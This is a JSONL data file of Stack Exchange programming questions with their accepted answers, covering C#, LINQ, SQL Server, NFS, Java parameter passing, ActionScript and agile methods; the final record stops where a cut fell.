{"id": "hf_d10af8bb66b0", "question": "<p>How do I create a new webpage in the Documentum front end Webtop?  </p>\n", "question_body": "", "answer": "Why WebTop?  You should use Web Publisher which is built on WebTop with the specific purpose of managing web content. Is this an OOTB installation?  Web Publisher / WebTop requires significant amount of customization in order to start being useful.  Do you have templates defined?  If so, then just go to File New and select your template.\nhttp://www.dmdeveloper.com/\nIs a good site with some very good how-to's.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.360888"}
{"id": "hf_7d25f10b3773", "question": "<p>As the title says, is there a way to run the same Adobe AIR app more than once?  I have a little widget I wrote that shows thumbnails from a couple of photo streams, and I'd like to fix it so I can look at more than  one stream at a time.  Thanks!</p>\n", "question_body": "", "answer": "It seems that this is not possible. From the\ndocumentation\n:\nOnly one instance of an AIR application is started. When an already running application is invoked again, AIR dispatches a new invoke event to the running instance.\nIt also gives a possible workaround:\nIt is the responsibility of an AIR to respond to an invoke event and take the appropriate action (such as opening a new document window).\nThere is\nalready a bug\nrelated to this on the bugtracker, but it is marked closed with no explicit resolution given...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.395476"}
{"id": "hf_624c90fd0548", "question": "<p>How can I create a new database from my C# application?</p>\n\n<p>I'm assuming once I create it, I can simply generate a connection string on the fly and connect to it, and the issue all the  CREATE TABLE statements.</p>\n", "question_body": "", "answer": "KB307283\nexplains how to create a database using ADO.NET.\nFrom the article:\n```\n```\nString str;\nSqlConnection myConn = new SqlConnection (\"Server=localhost;Integrated security=SSPI;database=master\");\n\nstr = \"CREATE DATABASE MyDatabase ON PRIMARY \" +\n    \"(NAME = MyDatabase_Data, \" +\n    \"FILENAME = 'C:\\\\MyDatabaseData.mdf', \" +\n    \"SIZE = 2MB, MAXSIZE = 10MB, FILEGROWTH = 10%) \" +\n    \"LOG ON (NAME = MyDatabase_Log, \" +\n    \"FILENAME = 'C:\\\\MyDatabaseLog.ldf', \" +\n    \"SIZE = 1MB, \" +\n    \"MAXSIZE = 5MB, \" +\n    \"FILEGROWTH = 10%)\";\n\nSqlCommand myCommand = new SqlCommand(str, myConn);\ntry \n{\n    myConn.Open();\n    myCommand.ExecuteNonQuery();\n    MessageBox.Show(\"DataBase is Created Successfully\", \"MyProgram\", MessageBoxButtons.OK, MessageBoxIcon.Information);\n}\ncatch (System.Exception ex)\n{\n    MessageBox.Show(ex.ToString(), \"MyProgram\", MessageBoxButtons.OK, MessageBoxIcon.Information);\n}\nfinally\n{\n    if (myConn.State == ConnectionState.Open)\n    {\n        myConn.Close();\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.453619"}
{"id": "hf_c3c5915023b7", "question": "<p>Code below does not run correctly and throws <code>InvalidOperationExcepiton</code>.</p>\n\n<pre><code>public void Foo()\n{\n DataContext context = new DataContext();\n LinqEntity item = new LinqEntity(){ Id = 1, Name = \"John\", Surname = \"Doe\"} ;\n context.LinqEntities.Attach(item, true);\n}\n</code></pre>\n", "question_body": "", "answer": "I'm not sure what you mean by disconnected from the database.\nIt appears that you are trying to insert a new row into the LinqEntities table -- is that correct?\nIf that is the case you'll want to do\n```\n```\ncontext.LinqEntities.InsertOnSubmit(item);\ncontext.Submit();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.480472"}
{"id": "hf_205516aa486f", "question": "<p>I am writing a few extensions to mimic the map and reduce functions in Lisp.</p>\n\n<pre><code>public delegate R ReduceFunction&lt;T,R&gt;(T t, R previous);\npublic delegate void TransformFunction&lt;T&gt;(T t, params object[] args);\n\npublic static R Reduce&lt;T,R&gt;(this List&lt;T&gt; list, ReduceFunction&lt;T,R&gt; r, R initial)\n{\n     var aggregate = initial;\n     foreach(var t in list)\n         aggregate = r(t,aggregate);\n\n     return aggregate;\n}\npublic static void Transform&lt;T&gt;(this List&lt;T&gt; list, TransformFunction&lt;T&gt; f, params object [] args)\n{\n    foreach(var t in list)\n         f(t,args);\n}\n</code></pre>\n\n<p>The transform function will cut down on cruft like:</p>\n\n<pre><code>foreach(var t in list)\n    if(conditions &amp;&amp; moreconditions)\n        //do work etc\n</code></pre>\n\n<p>Does this make sense? Could it be better?</p>\n", "question_body": "", "answer": "I would use the built in Func delegates instead.  This same code would work on any IEnumerable.  Your code would turn into:\n```\n```\npublic static R Reduce<T,R>(this IEnumerable<T> list, Func<T,R> r, R initial)\n{\n     var aggregate = initial;\n     foreach(var t in list)\n         aggregate = r(t,aggregate);\n\n     return aggregate;\n}\npublic static void Transform<T>(this IEnumerable<T> list, Func<T> f)\n{\n    foreach(var t in list)\n             f(t);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.503800"}
{"id": "hf_598f42bae57a", "question": "<p>Is it true that the only way to handle default function arguments is through function overloading?</p>\n\n<p>For example, in PHP I can do this:</p>\n\n<pre><code>function foo($x, $y=0)\n{\n}\n</code></pre>\n\n<p>Would the best way to handle it in C# be this?</p>\n\n<pre><code>void foo(int x)\n{\n  foo(x, 0);\n}\n\nvoid foo(int x, int y)\n{\n}\n</code></pre>\n\n<p><strong><em><a href=\"http://bytes.com/forum/thread224970.html\" rel=\"noreferrer\">Example lifted from here</a></em></strong></p>\n\n<p>Edit</p>\n\n<p><strong><em>Made the C# example into actual C# (Thanks Blair Conrad)</em></strong></p>\n", "question_body": "", "answer": "Yes, that'd be best\n, except you'd omit the\n```\n$\n```\ns on the parameter names\n, as others have pointed out. For those interested in the rationale behind the lack of default parameter values, see @Giovanni Galbo's explanation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.526645"}
{"id": "hf_faa86a5bed36", "question": "<p>I've got an MS-Access app (1/10th MS-Acccess, 9/10ths MS-SQL) that needs to display photographs of some assets along with their specifications. Currently the images are stored in an MS-Access table as an OLE Object (and copy-n-pasted into the field by the users).</p>\n\n<p>For various reasons, I would like to do is store the original .jpgs in a folder on the network drive, and reference them from the application portion. I have considered moving into MS-SQL's image data type (and its replacement varbinary), but I think my user population will more easily grasp the concept of the network folder.</p>\n\n<p>How can I get MS Access to display the contents of a .jpg?</p>\n", "question_body": "", "answer": "The easiest way is probably to plop an Internet Explorer onto one of your forms. Check out this site:\nhttp://www.acky.net/tutorials/vb/wbrowser/\nSince you can reference that object in Access, you will only need to point the webbrowser control to the path of the .jpg (NavigateTo() if I remember correctly).\nEDIT:\nThe above link was just googled and picked from the results (first one that opened quickly). I do not think it is a very good tutorial, it just has all the pointers you need... Check out msdn etc. if you need more information!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.570796"}
{"id": "hf_eb996d249f7e", "question": "<p>How do I get it to work with my project?</p>\n\n<p><a href=\"http://ajax.asp.net/\" rel=\"noreferrer\">http://ajax.asp.net/</a></p>\n\n<p><a href=\"http://www.codeplex.com/AjaxControlToolkit/\" rel=\"noreferrer\">http://www.codeplex.com/AjaxControlToolkit/</a></p>\n", "question_body": "", "answer": "Install the ASP.NET AJAX Control Toolkit\nDownload the ZIP file\nAjaxControlToolkit-Framework3.5SP1-DllOnly.zip\nfrom the\nASP.NET AJAX Control\nToolkit Releases\npage of the\nCodePlex web site.\nCopy the contents of this zip file\ndirectly into the bin directory of\nyour web site.\nUpdate web.config\nPut this in your web.config under the <controls> section:\n```\n```\n<?xml version=\"1.0\"?>\n<configuration>\n    ...\n    <system.web>\n        ...\n        <pages>\n            ...\n            <controls>\n                ...\n                <add tagPrefix=\"ajaxtoolkit\"\n                    namespace=\"AjaxControlToolkit\"\n                    assembly=\"AjaxControlToolKit\"/>\n            </controls>\n        </pages>\n        ...\n    </system.web>\n    ...\n</configuration>\n```\n```\nSetup Visual Studio\nRight-click on the Toolbox and select \"Add Tab\", and add a tab called \"AJAX Control Toolkit\"\nInside that tab, right-click on the Toolbox and select \"Choose Items...\"\nWhen the \"Choose Toolbox Items\" dialog appears, click the \"Browse...\" button. Navigate to your project's \"bin\" folder. Inside that folder, select \"AjaxControlToolkit.dll\" and click OK. Click OK again to close the Choose Items Dialog.\nYou can now use the controls in your web sites!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.593803"}
{"id": "hf_d99f2c1790a5", "question": "<p>I'm trying to get a Firefox plugin to read data from a HTTP get, parse the results and present them as links in a bookmark-like drop-down menu.</p>\n\n<p>My quesion then is: Does anyone have any sample code that will do this?</p>\n", "question_body": "", "answer": "Having never developed one myself, I'm not certain how this is typically done in Firefox plugins, but since plugin scripting is JavaScript, I can probably help out with the loading part. Assuming a variable named url containing the URL you want to request:\n```\n```\nvar xmlhttp = new XMLHttpRequest();\nxmlhttp.open(\"GET\", url, true);\n\nxmlhttp.onreadystatechange = function() {\n    if(this.readyState == 4) { // Done loading?\n        if(this.status == 200) { // Everything okay?\n            // read content from this.responseXML or this.responseText\n        } else { // Error occurred; handle it\n            alert(\"Error \" + this.status + \":\\n\" + this.statusText);\n        }\n    }\n};\n\nxmlhttp.send(null);\n```\n```\nA couple of notes on this code:\nYou may want more sophisticated status code handling. For example, 200 is not the only non-error status code. Details on status codes can be found\nhere\n.\nYou probably want to have a timeout to handle the case where, for some reason, you don't get to readyState 4 in a reasonable amount of time.\nYou may want to do things when earlier readyStates are received.\nThis page\ndocuments the readyState codes, along with other properties and methods on the XMLHttpRequest object which you may find useful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.640340"}
{"id": "hf_0a79afa5f527", "question": "<p>I have a very strange problem. Under some elusive circumstances I fail to apply any jQuery selector on my pages under IE. It's OK under Firefox though. The jQuery function simply returns empty array. </p>\n\n<p>Any suggestions?</p>\n\n<p>Page is too complex to post it here. Practically any selector, except <code>\"#id\"</code> selectors, returns a zero element array. The jQuery version is 1.2.3</p>\n", "question_body": "", "answer": "What version(s) of IE is it failing under? Is it failing for a specific complex selector? I think we need an example.\nEdit: Does the problem go away if you upgrade to 1.2.6? 1.2.6 is primarily a bug-fix release according to\nthis page\n.\nFailing that, the best way to find the problem is to create a minimum page that can reproduce the bug. Without that, it's just about impossible to troubleshoot.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.687110"}
{"id": "hf_8ca6a12d22f3", "question": "<p>Does C# have built-in support for parsing strings of page numbers?  By page numbers, I mean the format you might enter into a print dialog that's a mixture of comma and dash-delimited.</p>\n\n<p>Something like this:</p>\n\n<pre><code>1,3,5-10,12\n</code></pre>\n\n<p>What would be really nice is a solution that gave me back some kind of list of all page numbers represented by the string.  In the above example, getting a list back like this would be nice:</p>\n\n<pre><code>1,3,5,6,7,8,9,10,12\n</code></pre>\n\n<p>I just want to avoid rolling my own if there's an easy way to do it.</p>\n", "question_body": "", "answer": "It doesn't have a built-in way to do this, but it would be trivial to do using String.Split.\nSimply split on ',' then you have a series of strings that represent either page numbers or ranges. Iterate over that series and do a String.Split of '-'. If there isn't a result, it's a plain page number, so stick it in your list of pages. If there is a result, take the left and right of the '-' as the bounds and use a simple for loop to add each page number to your final list over that range.\nCan't take but 5 minutes to do, then maybe another 10 to add in some sanity checks to throw errors when the user tries to input invalid data (like \"1-2-3\" or something.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.722185"}
{"id": "hf_88d74fd901d8", "question": "<p>I infrequently (monthly/quarterly) generate hundreds of Crystal Reports reports using Microsoft SQL Server 2005 database views.  Are those views wasting CPU cycles and RAM during all the time that I am not reading from them?  Should I instead use stored procedures, temporary tables, or short-lived normal tables since I rarely read from my views?</p>\n\n<p>I'm not a DBA so I don't know what's going on behind the scenes inside the database server.</p>\n\n<p>Is it possible to have too many database views?  What's considered best practice?</p>\n", "question_body": "", "answer": "For the most part, it doesn't matter. Yes, SQL Server will have more choices when it parses SELECT * FROM table (it'll have to look in the system catalogs for 'table') but it's highly optimized for that, and provided you have sufficient RAM (most servers nowadays do), you won't notice a difference between 0 and 1,000 views.\nHowever, from a people-perspective, trying to manage and figure out what \"hundreds\" of views are doing is probably impossible, so you likely have a lot of duplicated code in there. What happens if some business rules change that are embedded in these redundant views?\nThe main point of views is to encapsulate business logic into a pseudo table (so you may have a person table, but then a view called \"active_persons\" which does some magic). Creating a view for each report is kind of silly unless each report is so isolated and unique that there is no ability to re-use.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.745451"}
{"id": "hf_bf4e6c1d5839", "question": "<p>The ASP page gets data uses that to draw a graph, I then need to save the image created to JPEG to be displayed on the browser and also used in PDF and other format. What is the best way to compress the image? I am currently porting a JPEG compression library to ASP but I think it will be too slow on this ARM device running Windows CE 6.0.</p>\n\n<p>So, the ASP page, running in Windows CE webservers, gets data, renders it into a bitmap image than then needs to be delivered to the browser accessing that ASP page. The same image is also used in PDF and one other proprietary format that can contain JPEG streams.</p>\n\n<p>Edit:\nWhat I am looking for is to way to create an array representing a bitmap and then compressing it to JPEG with ASP in Windows CE's IIS which has quite limited ASP implementation.</p>\n", "question_body": "", "answer": "I'm confused...\nThe images from ASP would be compressed on the server side--not client side.\nI'm sure your web server is not running on Windows CE, so I don't think your concern is warranted.\nEDIT:\nSeems as though you can run a web server on Windows CE:\nhttp://www.microsoft.com/windows/embedded/products/windowsce/default.mspx\n.  I'll keep my thoughts to myself from now on. :-x", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.768629"}
{"id": "hf_051d169a0572", "question": "<p>I've got to get a directory listing that contains about 2 million files, but when I do an <code>ls</code> command on it nothing comes back. I've waited 3 hours. I've tried <code>ls | tee directory.txt</code>, but that seems to hang forever. </p>\n\n<p>I assume the server is doing a lot of inode sorting. Is there any way to speed up the <code>ls</code> command to just get a directory listing of filenames? I don't care about size, dates, permission or the like at this time.</p>\n", "question_body": "", "answer": "How about\n```\nfind ./ -type f\n```\n(which will find all files in the currently directory)?  Take off the\n```\n-type f\n```\nto find everything.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.792222"}
{"id": "hf_521f3f3283f0", "question": "<p>I have a flag enum below.</p>\n\n<pre><code>[Flags]\npublic enum FlagTest\n{\n    None = 0x0,\n    Flag1 = 0x1,\n    Flag2 = 0x2,\n    Flag3 = 0x4\n}\n</code></pre>\n\n<p>I cannot make the if statement evaluate to true.</p>\n\n<pre><code>FlagTest testItem = FlagTest.Flag1 | FlagTest.Flag2;\n\nif (testItem == FlagTest.Flag1)\n{\n    // Do something,\n    // however This is never true.\n}\n</code></pre>\n\n<p>How can I make this true?</p>\n", "question_body": "", "answer": "For bit operations, you need to use bitwise operators.\nThis should do the trick:\n```\n```\nif ((testItem & FlagTest.Flag1) == FlagTest.Flag1)\n{\n    // Do something,\n    // however This is never true.\n}\n```\n```\nEdit:\nFixed my if check - I slipped back into my C/C++ ways (thanks to Ryan Farley for pointing it out)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.815653"}
{"id": "hf_989789b7065d", "question": "<p>Is there an easy way to find the storage card's path on a Windows Mobile device\nwhen there is a storage card and a bluetooth ftp connection?</p>\n", "question_body": "", "answer": "On Windows CE 5 (which is the base for Windows Mobile 6) the storage cards get mounted at the root file system as \"Storage Card\\\", \"Storage Card2\\\", etc.\nTo find out if it's mounted call GetFileAttributes (or the remote version CeGetFileAttributes I believe) passing in the full path (\"\\Storage Card\\\"). If it returns INVALID_FILE_ATTRIBUTES then it's not mounted, otherwise check to make sure it's a directory before returning true.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.896843"}
{"id": "hf_0251b6d88903", "question": "<p>A client of mine has asked me to integrate a 3rd party API into their Rails app.  The only problem is that the API uses SOAP.  Ruby has basically dropped SOAP in favor of REST.  They provide a Java adapter that apparently works with the Java-Ruby bridge, but we'd like to keep it all in Ruby, if possible.  I looked into soap4r, but it seems to have a slightly bad reputation.</p>\n\n<p>So what's the best way to integrate SOAP calls into a Rails app?</p>\n", "question_body": "", "answer": "Try\nSOAP4R\nSOAP4R\nGetting Started with SOAP4R\nAnd I just heard about this on the Rails Envy Podcast (ep 31):\nWS-Deathstar SOAP walkthrough", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.919717"}
{"id": "hf_dbb2273acbe1", "question": "<p>I have an NFS-mounted directory on a Linux machine that has hung. I've tried to force an unmount, but it doesn't seem to work:</p>\n\n<pre><code>$ umount -f /mnt/data\n$ umount2: Device or resource busy\n$ umount: /mnt/data: device is busy\n</code></pre>\n\n<p>If I type \"<code>mount</code>\", it appears that the directory is no longer mounted, but it hangs if I do \"<code>ls /mnt/data</code>\", and if I try to remove the mountpoint, I get:</p>\n\n<pre><code>$ rmdir /mnt/data\nrmdir: /mnt/data: Device or resource busy\n</code></pre>\n\n<p>Is there anything I can do other than reboot the machine?</p>\n", "question_body": "", "answer": "You might try a lazy unmount:\n```\n```\numount -l\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.966384"}
{"id": "hf_35023e3cbd07", "question": "<p>I am a member of all the roles (Browser, Content Manager, My Reports, Publisher, Report Builder). If I login with a Local Administrator account, I can see and use it fine. Any ideas?</p>\n", "question_body": "", "answer": "The first thing I would check is to make sure that your normal login is mapped to a role with the correct system-level permissions.  The item-level role definitions don't make a difference for the \"Report Builder\" button.\nFrom the browser-based report manager interface:\nClick \"site settings\"\nIn the Security section, click \"Configure system-level role definitions\"\nClick the Role that you want to have this ability (e.g. \"System Administrator\" and \"System User\" are the default roles, but I believe that you can create your own if you want to).\nMake sure that the \"Execute Report Definitions\" task is checked/selected.  This is the permission that controls whether or not the \"Report Builder\" button is displayed.\nClick \"OK\" and then return to the \"Site Settings\" page.\nIn the Security section, click \"Configure site-wide security\"\nClick \"New Role Assignment\" and then map your login (or an AD group to which your login belongs might be even better) to the system-level role you edited in the previous steps.\nThe forms are pretty straightforward, and I'd guess that your login just isn't mapped to the proper system-level role since you can see the button with the local administrator login.  If that doesn't work, you might check your IIS security settings for the report service to make sure that they're configured to use windows authentication (assuming that's what you're using in the first place).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.989354"}
{"id": "hf_69e656c72c15", "question": "<p>And why would I use one over the other in my code?</p>\n", "question_body": "", "answer": "Caution: This answer appears to be out of date.\nIt was posted before .NET 4 became available, which apparently introduced some optimizations regarding\n```\nType\n```\nand thus rendered the information in this answer obsolete. See\nthis more recent answer\nfor details.\nAccording to\nthis blog post (from 2006) by Vance Morrison\n,\n```\nRuntimeTypeHandle\n```\nis a value type (\n```\nstruct\n```\n) that wraps an unmanaged pointer, so\n```\nType.GetTypeHandle(obj).Equals(anotherHandle)\n```\nis faster to use for strict \"is exactly the same type\" comparisons than\n```\nobj.GetType().Equals(anotherType)\n```\n— the latter creates\n```\nSystem.Type\n```\ninstances which are, apparently, heavier.\nHowever, it's also less obvious, and definitely falls under the category \"micro-optimization\" so if you're wondering when you need one over the other, you should probably just use System.Type.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.047132"}
{"id": "hf_7d21625d105c", "question": "<p>Is it possible to handle POSIX signals within the Java Virtual Machine?</p>\n\n<p>At least <a href=\"http://en.wikipedia.org/wiki/SIGINT_(POSIX)\" rel=\"noreferrer\">SIGINT</a> and <a href=\"http://en.wikipedia.org/wiki/SIGKILL\" rel=\"noreferrer\">SIGKILL</a> should be quite platform independent.</p>\n", "question_body": "", "answer": "Perhaps\nRuntime#addShutdownHook\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.105013"}
{"id": "hf_6ef1d0e7eccf", "question": "<p>I need to empty an LDF file before sending to a colleague.  How do I force SQL Server to truncate the log?</p>\n", "question_body": "", "answer": "In management studio:\nDon't do this on a live environment, but to ensure you shrink your dev db as much as you can:\nRight-click the database, choose\n```\nProperties\n```\n, then\n```\nOptions\n```\n.\nMake sure \"Recovery model\" is set to \"Simple\", not \"Full\"\nClick OK\nRight-click the database again, choose\n```\nTasks\n```\n->\n```\nShrink\n```\n->\n```\nFiles\n```\nChange file type to \"Log\"\nClick OK.\nAlternatively, the SQL to do it:\n```\n```\nALTER DATABASE mydatabase SET RECOVERY SIMPLE\n DBCC SHRINKFILE (mydatabase_Log, 1)\n```\n```\nRef:\nhttp://msdn.microsoft.com/en-us/library/ms189493.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.127437"}
{"id": "hf_9437feb0a982", "question": "<p>I have a List of Foo.</p>\n\n<p>Foo has a string property named Bar.</p>\n\n<p>I'd like to use <strong>LINQ</strong> to get a string[] of <strong>distinct</strong> values for Foo.Bar in List of Foo.</p>\n\n<p>How can I do this?</p>\n", "question_body": "", "answer": "Try this:\n```\n```\nvar distinctFooBars = (from foo in foos\n                       select foo.Bar).Distinct().ToArray();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.208433"}
{"id": "hf_80fcdd5252c5", "question": "<p>I always thought Java uses <strong>pass-by-reference</strong>.</p>\n<p>However, I've seen <a href=\"http://javadude.com/articles/passbyvalue.htm\" rel=\"noreferrer\">a blog post</a> that claims that Java uses <strong>pass-by-value</strong>.</p>\n<p>I don't think I understand the distinction they're making.</p>\n<p>What is the explanation?</p>\n", "question_body": "", "answer": "Java is always pass by value, with no exceptions,\never\n.\nSo how is it that anyone can be at all confused by this, and believe that Java is pass by reference, or think they have an example of Java acting as pass by reference? The key point is that Java\nnever\nprovides direct access to the values of\nobjects themselves\n, in\nany\ncircumstances. The only access to objects is through a\nreference\nto that object. Because Java objects are\nalways\naccessed through a reference, rather than directly, it is common to talk about fields and variables\nand method arguments\nas being\nobjects\n, when pedantically they are only\nreferences to objects\n.\nThe confusion stems from this (strictly speaking, incorrect) change in nomenclature.\nSo, when calling a method\nFor primitive arguments (\n```\nint\n```\n,\n```\nlong\n```\n, etc.), the pass by value is\nthe actual value\nof the primitive (for example, 3).\nFor objects, the pass by value is the value of\nthe reference to the object\n.\nSo if you have\n```\ndoSomething(foo)\n```\nand\n```\npublic void doSomething(Foo foo) { .. }\n```\nthe two Foos have copied\nreferences\nthat point to the same objects.\nNaturally, passing by value a reference to an object looks very much like (and is indistinguishable in practice from) passing an object by reference.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.244659"}
{"id": "hf_09306e52b3b8", "question": "<p>As the title already states, I'm trying to declare a nested function and return a pointer to that function. I want this function 'not' to return a new function pointer which will return the negation of whatever the original function was.</p>\n\n<p>Here is what I have:</p>\n\n<pre><code>someType not( someType original ) {\n    int isNot( ListEntry* entry ) {\n        return !original( entry );\n    }\n\n    someType resultFunc = calloc( 1024, 1 );\n    memcpy( resultFunc, &amp;isNot, 1024 );\n\n    return resultFunc;\n}\n</code></pre>\n\n<p>someType is defined as:</p>\n\n<pre><code>typedef int(*someType)(ListEntry* entry)\n</code></pre>\n", "question_body": "", "answer": "I'm using GCC.\nYou can turn on nested functions by using the flag:\n```\n```\n-fnested-functions\n```\n```\nwhen you compile.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.292220"}
{"id": "hf_5fd23e907037", "question": "<p>I'm trying to call a function after I load some XML into Actionscript, and I'm just wondering how I call that function. Example:</p>\n\n<pre><code>//Function Declarations\nfunction parentFunction()\n{\n    function callMe()\n    {\n     textField.text = \"lawl\";\n    }\n}\n</code></pre>\n\n<p>Now, <strong>how do I call the \"callMe()\" function</strong> in a different part of the code, like an onRelease function?</p>\n\n<pre><code>on(release)\n{\ncallMe(); //doesn't work\nparentFunction().callMe(); //doesn't work\nparentFunction.callMe(); //doesn't work\n}\n</code></pre>\n\n<p>ActionScript 2.0 is just so wonky! Any ideas?</p>\n", "question_body": "", "answer": "Are you forced to declare callMe inside of parentFunction?  I assume so because otherwise you would just do\nfunction parent()  { }\nfunction callMe()  { }\nTo be clear, a function can't own another function unless you provide some scope for that function to live in.\nSo in JavaScript, you would do this by using the prototype object to declare the callMe function as a method of the object that parentFunction returned.\nhttp://www.howtocreate.co.uk/tutorials/javascript/objects\nFor ActionScript, read this article on Adobe's website:\nhttp://www.adobe.com/devnet/flex/articles/as_collections_03.html\nEDIT: After some more reading it appears the way you did things, you are actually declaring callMe as a\nprivate\nfunction.  See this article which should make the whole\nprivate/public javascript issue\na lot more understandable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.315242"}
{"id": "hf_e43b17b55a5b", "question": "<p>Extreme Programming, Scrum and Test Driven Development definitely seem to be the most popular Agile methods at the moment. But someone recently suggested that I take a look at Feature Driven Development.</p>\n\n<p>Have you ever used this method with any success? What are the advantages of using it?</p>\n", "question_body": "", "answer": "FDD is an older methodology. It has lot's of the ideas of other agile methodologies and misses some of them. Like Scrum it's a bit management-focussed and I think you need some elements from XP for practical implementations.\nFDD is certainly interesting to look into. But just like Scrum and XP I think you have to understand the mechanics and not just implement the practices to be succesful. If you just \"do FDD\" or \"do Scrum\" you're not as adaptive as you should be.\nThe things I would look into if you want to understand agile would be\nScrum or FDD to understand what management can get out of agile.\nXP to understand how enable agile from a technology perspective.\nCrystal Clear to understand the communications aspects.\nLean Agile to get a completely different perspective on agile 